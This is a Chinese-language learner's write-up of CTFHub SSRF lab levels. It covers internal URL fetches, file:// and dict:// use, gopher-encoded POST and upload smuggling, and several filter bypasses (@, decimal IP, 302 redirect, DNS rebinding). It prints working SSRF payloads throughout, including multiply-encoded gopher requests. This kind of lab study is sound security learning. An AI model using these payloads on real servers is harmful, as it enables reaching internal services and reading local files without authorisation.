ssrf练习
目录
ssrf漏洞
漏洞形成原理(来自网络)
寻找ssrf漏洞,
靶场题目
第一题(url探测网站下文件)
第二关(使用伪协议)
关于http和file协议的理解
file协议
http协议
第三关(端口扫描)
第四关(post请求)
第五关(文件上传)
第八关(URL Bypass)
第九关(数字IP Bypass)
第十关(302跳转 Bypass)
第十一关(DNS重绑定 Bypass)
ssrf漏洞
漏洞形成原理(来自网络)
很多网站提供了从其他的服务器上获取数据的功能。通过指定的URL,网站可以从其他地方获取图片、下载文件、读取文件内容等。SSRF的实质就是利用存在缺陷的Web站点作为代理攻击远程和本地的服务器。
SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器获取数据的功能但没有对目标地址做过滤与限制。攻击者可以利用改漏洞获取内部系统的一些信息(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网系统)。
寻找ssrf漏洞,
在看usrl解析绕过看到这篇文章记录一下SSRF漏洞:URL绕过方法以及原理案例详细讲解 - FreeBuf网络安全行业门户
我们通常可以在获取远程资源的应用程序中找到SSRF漏洞。在寻找SSRF漏洞时,我们应该寻找:
- HTTP请求重定向、URL跳转处理业务逻辑
- 文件导入转换等,如HTML、PDF、图像等。
- 远程服务器连接来获取数据
- 有关提供给外部链接进行业务处理的功能
靶场题目
第一题(url探测网站下文件)
非常的简单,ok呀,有30分钟,不着急,这一关的目的应该是通过url跳转到内网服务器上的127.0.0.1/flag,没有做任何限制,导致可以直接读取到内网的文件
/?url=http://127.0.0.1/flag.php
?url这个意思应该是参数可控,导致可以跳转到别的界面
题目让我们访问内网的http://127.0.0.1/flag.php
开头也是直接给出来了啊,非常的不错,没有什么难度
第二关(使用伪协议)
Apache2的默认目录在:/var/www/html,也就是网站的默认目录
让我想一想,这一关和上一关有什么不同的地方,上一关是直接读取内网的127.0.0.1/flag.php文件,那这一关为什么不可以呢?
我尝试用http协议,发现并不能访问到这个文件
用file协议就可以获取,当然也可以写成/?url=http:///var/www/html/flag.php,/应该是表示本地的IP地址的意思
关于http和file协议的理解
file协议主要是读取本地的文件,是不对外开放的
http协议是对外开放的,在搭建的网站下的目录
file协议
本地系统的文件
http协议
,例如读取到pikachu下的文件(靶场的本地网站)
第三关(端口扫描)
这一关需要使用dict伪协议了,具体是什么我也不知道啊
在网上找的
Dict协议 | 查看端口,版本信息;向服务器端口请求curl命令 |
来靶场给的提示
开局一个IP地址啊,非常的人性化,
那我们直接加上dict协议,再打开我们的bp开始爆破
添加payload位置
payload选数值,8000-9000
爆破到8839号时,发现长度不一样,但是里面却没有flag,怎么回事,后来发现需要使用http协议去访问这个网站,嗯?那我一开始使用http协议不好吗?反正就是看那个长度是不是一样的,
它的目的是啥,就是判断这个端口是否开放吗,那我用http协议不也是可以看这个端口是不是开放的,那不就是打得开就是开放的,
诶好像不是这样的,如果是22号端口(ssh)话,用http协议是不能判断是不是开放的,如果22号端口开放的话就可以爆破了,真聪明。好了,用http协议直接查看这个端口吧
http协议查看端口,就是这个网站的内容咯,ok啊,主页就是flag
第四关(post请求)
ok呀,开局先看wp,不然我不会写,不就是浪费我50个金币了,哎,之前金币一下就用光了,这下给省着点了,这道题好像有点麻烦,呜呜呜,以下内容参考ctfhub之ssrf练习
先理清下思路,意思是在file:///var/www/html/flag.php找到获取flag的方法,用post请求发送一个key值,给谁,给靶场地址的/flag.php,并且是从本地127.0.0.1发送的。
编码几次的问题,在别的评论区找的,虽然不是很懂,但是感觉是对的,大家可以试试。
先分析一下,首先利用file协议进入file:///var/www/html/index.php意思是先看他的网站主页源码吧然后再就没了,然后我们再看file:///var/www/html/flag.php代码的意思是让我们用post方法提交一个key值,然后它就给我们返回一个flag找到key了。把key放到之前的post界面。
问题就在这里,虽然我们可以完成要求了,但是必须要在flag.php中进行这个post请求。一旦我们直接进入flag.php,就会提示从127.0.0.1访问(从服务器端发起请求)。也就是说,flag.php只能看不能摸。这里就是gopher出场的时候了。然后再由于curl支持gopher协议,所以这里是利用curl进行进行post请求起码你必须包含以下要素POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=1e91e9e5b8b3cfe84f5442b9739553c6解释几个可能存在的疑问:
1.为什么这里并没有使用curl,直接从网页上发起请求就可以了?
因为index.php本身就有curl_exec(),在截取url之后的参数后本来就能够完成操作了。2.burp suite修改参数直接post行不行?
不行,虽然能够更改包参数,但是我们无法做到从服务器发起请求3.为什么需要两次编码?
这是因为在浏览器的地址栏进行get传参时,浏览器会自动进行一次UrlDecode()的解码。但是这里curl就需要url编码的东西,所以需要编两次
参考CTFHub技能树 Web-SSRF POST请求_ctfhub 知识树 post-CSDN博客
注:在第一次编码后的数据中,将%0A全部替换为%0D%0A。
因为 Gopher协议包含的请求数据包中,可能包含有=、&等特殊字符,
避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,
这样服务端会把%后的字节当做普通字节。
gopher协议格式及利用条件(看到这就是有个下划线的)
Gopher协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流 ==》正因为这个本质,所以他可以用来发起GET、POST的http请求。
好了,开靶场了,寄,什么提示也没有,这是让我盲猜吗,是要根据前几关来做出判断吗
好了,根据前几关,我学了http协议、file协议,
先看一下http://127.0.0.1/index.php和http://127.0.0.1/index.php这里面有什么吧,前几关也是这样的,ok呀,找到了一个key值
在从网站下的目录找一下吧file://127.0.0.1/var/www/html/flag.php这里的代码没来的及截图
其实就是让我用post提交一个key值且ip地址为127.0.0.1,如果正确就返回flag
然后编码,替换我自己的key值
_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:36%0d%0A%0d%0Akey=d2c25785320f2cf34b3fcc8eb9e66c92%0d%0a
在编码
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:127.0.0.1%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Akey=d2c25785320f2cf34b3fcc8eb9e66c92%250d%250a
把编码的值放到框框里,这个框框应该是用post方法提交的,试着试着好像错了,我就在url上提交了,
靶场时间不够了,我还续费了10分钟,其实我是把别人的payload复制过来了,改成了我自己的key值
再分析一下,需要gopher协议,换行符需要是%0D%0A,别问为啥,我也不晓得
content-length这里需要换两行(换一行行不行我也没有试过)
但是我自己去编码的时候空格会编码成加号,/会编码成%2f,但是别的文章没有,还有就是POST前面为什么会出现下划线,如果去掉会怎么样,不想再开一次靶场了,看看有没有别的靶场要不要金币
我知道了为啥会加下划线了,因为那个是gopher的语句,他的格式就是这样的
gopher协议格式:gopher://IP:port/_{TCP/IP数据流}
第五关(文件上传)
ok啊,正好上关还没搞明白,看了一眼教程,发现和上一关一样要编码,ok先让我准备一下
先理清下思路,意思是让我们从本地上传一个图片,给谁,也是给http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/flag.php,用post方法,并且是用本地服务器发出去的,那就是让服务器自己去请求咯,就能得到flag
试过了,用这个编码工具才能成功,用了另一个没成功CTF在线工具-在线URL编码|URL解码 (hiencode.com)
这个方法要编码三次次,key换成自己的,第一次的%0A换成%OD%0A,然后我先用网上的url编码,编码三次次
不行在换ctf工具里的url编码工具,但是我觉得一个不是编码的问题,至于编码几次,在哪篇博客看到过,我忘记了少了个提交按钮,直接加上
<input type="submit" name="submit">图片上传代码
POST http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/flag.php HTTP/1.1
Host: challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------330768969129738900803122801082
Content-Length: 351
Origin: http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache-----------------------------330768969129738900803122801082
Content-Disposition: form-data; name="file"; filename="w.txt"
Content-Type: text/plain1111111111
-----------------------------330768969129738900803122801082
Content-Disposition: form-data; name="submit"鎻愪氦鏌ヨ
-----------------------------330768969129738900803122801082--gopher格式
?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_编码一次
POST%20http%3A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800/flag.php%20HTTP/1.1%0d%0aHost%3A%20challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800%0d%0aUser-Agent%3A%20Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A131.0%29%20Gecko/20100101%20Firefox/131.0%0d%0aAccept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/avif%2Cimage/webp%2Cimage/png%2Cimage/svg%2Bxml%2C%2A/%2A%3Bq%3D0.8%0d%0aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Czh-TW%3Bq%3D0.7%2Czh-HK%3Bq%3D0.5%2Cen-US%3Bq%3D0.3%2Cen%3Bq%3D0.2%0d%0aAccept-Encoding%3A%20gzip%2C%20deflate%2C%20br%0d%0aContent-Type%3A%20multipart/form-data%3B%20boundary%3D---------------------------330768969129738900803122801082%0d%0aContent-Length%3A%20351%0d%0aOrigin%3A%20http%3A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800%0d%0aConnection%3A%20close%0d%0aReferer%3A%20http%3A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%3A10800/%3Furl%3Dfile%3A///var/www/html/flag.php%0d%0aUpgrade-Insecure-Requests%3A%201%0d%0aPriority%3A%20u%3D0%2C%20i%0d%0aPragma%3A%20no-cache%0d%0aCache-Control%3A%20no-cache%0d%0a%0d%0a-----------------------------330768969129738900803122801082%0d%0aContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%22w.txt%22%0d%0aContent-Type%3A%20text/plain%0d%0a%0d%0a1111111111%0d%0a-----------------------------330768969129738900803122801082%0d%0aContent-Disposition%3A%20form-data%3B%20name%3D%22submit%22%0d%0a%0d%0a%E9%8E%BB%E6%84%AA%E6%B0%A6%E9%8F%8C%E3%83%A8%EE%87%97%0d%0a-----------------------------330768969129738900803122801082--编码二次
POST%2520http%253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800/flag.php%2520HTTP/1.1%250d%250aHost%253A%2520challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800%250d%250aUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A131.0%2529%2520Gecko/20100101%2520Firefox/131.0%250d%250aAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/png%252Cimage/svg%252Bxml%252C%252A/%252A%253Bq%253D0.8%250d%250aAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250d%250aAccept-Encoding%253A%2520gzip%252C%2520deflate%252C%2520br%250d%250aContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------330768969129738900803122801082%250d%250aContent-Length%253A%2520351%250d%250aOrigin%253A%2520http%253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800%250d%250aConnection%253A%2520close%250d%250aReferer%253A%2520http%253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250d%250aUpgrade-Insecure-Requests%253A%25201%250d%250aPriority%253A%2520u%253D0%252C%2520i%250d%250aPragma%253A%2520no-cache%250d%250aCache-Control%253A%2520no-cache%250d%250a%250d%250a-----------------------------330768969129738900803122801082%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522w.txt%2522%250d%250aContent-Type%253A%2520text/plain%250d%250a%250d%250a1111111111%250d%250a-----------------------------330768969129738900803122801082%250d%250aContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250d%250a%250d%250a%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%25E9%258F%258C%25E3%2583%25A8%25EE%2587%2597%250d%250a-----------------------------330768969129738900803122801082--编码三次
POST%252520http%25253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800/flag.php%252520HTTP/1.1%25250d%25250aHost%25253A%252520challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800%25250d%25250aUser-Agent%25253A%252520Mozilla/5.0%252520%252528Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64%25253B%252520rv%25253A131.0%252529%252520Gecko/20100101%252520Firefox/131.0%25250d%25250aAccept%25253A%252520text/html%25252Capplication/xhtml%25252Bxml%25252Capplication/xml%25253Bq%25253D0.9%25252Cimage/avif%25252Cimage/webp%25252Cimage/png%25252Cimage/svg%25252Bxml%25252C%25252A/%25252A%25253Bq%25253D0.8%25250d%25250aAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Czh-TW%25253Bq%25253D0.7%25252Czh-HK%25253Bq%25253D0.5%25252Cen-US%25253Bq%25253D0.3%25252Cen%25253Bq%25253D0.2%25250d%25250aAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25252C%252520br%25250d%25250aContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D---------------------------330768969129738900803122801082%25250d%25250aContent-Length%25253A%252520351%25250d%25250aOrigin%25253A%252520http%25253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800%25250d%25250aConnection%25253A%252520close%25250d%25250aReferer%25253A%252520http%25253A//challenge-377f1ad968bfe801.sandbox.ctfhub.com%25253A10800/%25253Furl%25253Dfile%25253A///var/www/html/flag.php%25250d%25250aUpgrade-Insecure-Requests%25253A%2525201%25250d%25250aPriority%25253A%252520u%25253D0%25252C%252520i%25250d%25250aPragma%25253A%252520no-cache%25250d%25250aCache-Control%25253A%252520no-cache%25250d%25250a%25250d%25250a-----------------------------330768969129738900803122801082%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%252522w.txt%252522%25250d%25250aContent-Type%25253A%252520text/plain%25250d%25250a%25250d%25250a1111111111%25250d%25250a-----------------------------330768969129738900803122801082%25250d%25250aContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250d%25250a%25250d%25250a%2525E9%25258E%2525BB%2525E6%252584%2525AA%2525E6%2525B0%2525A6%2525E9%25258F%25258C%2525E3%252583%2525A8%2525EE%252587%252597%25250d%25250a-----------------------------330768969129738900803122801082--得到flag
ctfhub{f2ad826c5980005510b47597}
var/www/html/flag.php的代码<?phperror_reporting(0);if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){echo "Just View From 127.0.0.1";return;
}if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){echo getenv("CTFHUB");exit;
}
?>Upload Webshell<form action="/flag.php" method="post" enctype="multipart/form-data"><input type="file" name="file">
</form>
第八关(URL Bypass)
题目是请求的URL中必须包含http://notfound.ctfhub.com,ok啊,题目也没看懂,
考点是不更改原来要跳转的目的地址,绕过目的地址来执行新的地址(@绕过)
看了下答案,题目的意思是让我们访问内网127.0.0.1/flag.php,但是url中又必须包含另一个地址,这样的用意是什么呢,看了别的题目,说这题考察的是ssrf中的url解析问题
涉及到知识盲区了,
新知识关于SSRF中URL解析的相关知识。参考这篇URL绕过方法以及原理案例详细讲解
看了一圈,大概说的是题目本来是要请求这个地址,
http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com
就是说本来我们可以直接把目标地址改成内网地址去访问的
http://challenge-377f1ad968bfe801.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
,但是他做了限制,url必须要有这个地址,所以就是想让我们绕过做了防护的ssrf,那就是前面是没做防护,这一关就是做了一点简单的防护,防护级别就是比较低的级别,那么绕过方式也就有好多种,我就用@绕过了
不知道我用短域名为什么不行http://u5a.cn/U8cdB就是127.0.0.1,在浏览器能解析
http://challenge-864f4514a7d6dda2.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com
正确代码
http://challenge-864f4514a7d6dda2.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
还可以这样写@0.0.0.0/flag.php也可以得到flag.php
第九关(数字IP Bypass)
题目开头,这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
搬掉127我还能理解,你搬掉172干啥,点分十进制又是什么
点分十进制就是用4组从0~255的数字,来表示一个IP地址。如192.168.1.1。
那我不还可以用10进制吗,还能用16进制,能用短域名吧
我好像知道什么了,题目已经告诉我了,搬掉了/127、172、@、\./这些关键字了
但是我短域名也没有包含这些吧,好像把点过滤了
把127.0.0.1换成10进制可以,localhost可以,暂时试出来这两种
http://challenge-c7acb99f0abdafad.sandbox.ctfhub.com:10800/?url=2130706433/flag.php
第十关(302跳转 Bypass)
参考CTFHub技能树 Web-SSRF 302跳转
题目如下,SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
考点应该是利用短域名跳转到127.0.0.1/flag.php,我没做出来
ok啊,刚开始也是没看懂题目,翻了下答案,就是说要用302跳转的方式来获取ip地址,也就是说,要使用短域名来跳转到127.0.0.1这个ip。怎么来写,我之前都是这样写的,难怪错了,之前先把http:/127.0.0.1/生成为短网址,然后再后面加上个flag.php文件,哎
应该是直接将http://127.0.0.1/flag.php生成为短网址,别人这样写对了,我写没对
但是我生成的短网址却不行
我就只能用?url=http://localhost/flag/php获取flag,看到别人解法好像是10进制也可以
第十一关(DNS重绑定 Bypass)
题目也是留了一句dns重绑定就没有了呀,ok还得直接找资料,还是不直接翻答案了,哈哈
[DNS安全] 详解DNS重绑定攻击-CSDN博客
有点复杂,dns重绑定,没有那么快消化完,但是只是做题的话还是很快的,我好像知道我之前为什么这么菜了,因为东西总是学到一半就去学其他的东西了,明明这个还没学会
ok先说一下原理,就是他会解析域名,然后看ip地址是不是恶意的(这个不知道他是什么原理),然后ttl值非常小,然后会再解析一遍域名,但是他已经信任了这个域名(因为第一次解析过了),但是解析的这个ip地址是恶意的ok啊这篇讲的详细
我在CTFHub学习SSRF - FreeBuf网络安全行业门户
大概就是有一个rbndr.us dns rebinding service这个网站,他解析的话,会随机解析,会有两种解析可能,有可能解析到第一个ip地址,有可能解析的是第二个地址,因此我们试了一次可能不会成功,但是他的ttl值很短,第二次解析可能就是合法地址,他就会认为这个域名是安全的,要多解析几次可能才会成功,另外一个地址可以填外网,我看其他网站填的127.0.0.2好像也可以。
但是我有个疑问了,既然第一次如果解析的是非法的ip地址,他会不会将这个域名也认定为非法的域名,从而使之后的解析到这个域名的时候就被拦截了,但是从这个题目来说的话,他好像并不会将域名拉入非法域名。
是真的,第一次没成功,试了几次没成功,然后试了好多次成功了,后面一直都会成功了,因为已经认定域名为合法域名了
参考文章
SSRF漏洞原理解析[通俗易懂]-腾讯云开发者社区-腾讯云 (tencent.com)
Ubuntu 18.04 Apache2默认网站目录和默认网站主页修改_改变apache2的目录默认样式-CSDN博客
http协议与file协议_浏览器file协议-CSDN博客
服务器端请求伪造--SSRF - FreeBuf网络安全行业门户
SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_ssrf用bp扫描的协议-CSDN博客
【网络安全 | HTTP】 gopher协议原理、语法及利用总结-阿里云开发者社区 (aliyun.com)
Gopher协议原理和限制介绍——Gopher协议支持发出GET、POST请求(类似协议转换):可以先截获get请求包和post请求包,在构成符合gopher协议的请求 - bonelee - 博客园 (cnblogs.com)
这个讲的很详细8、9、10关的
[WEB安全]绕过URL跳转限制的思路 - 肖洋肖恩、 - 博客园 (cnblogs.com)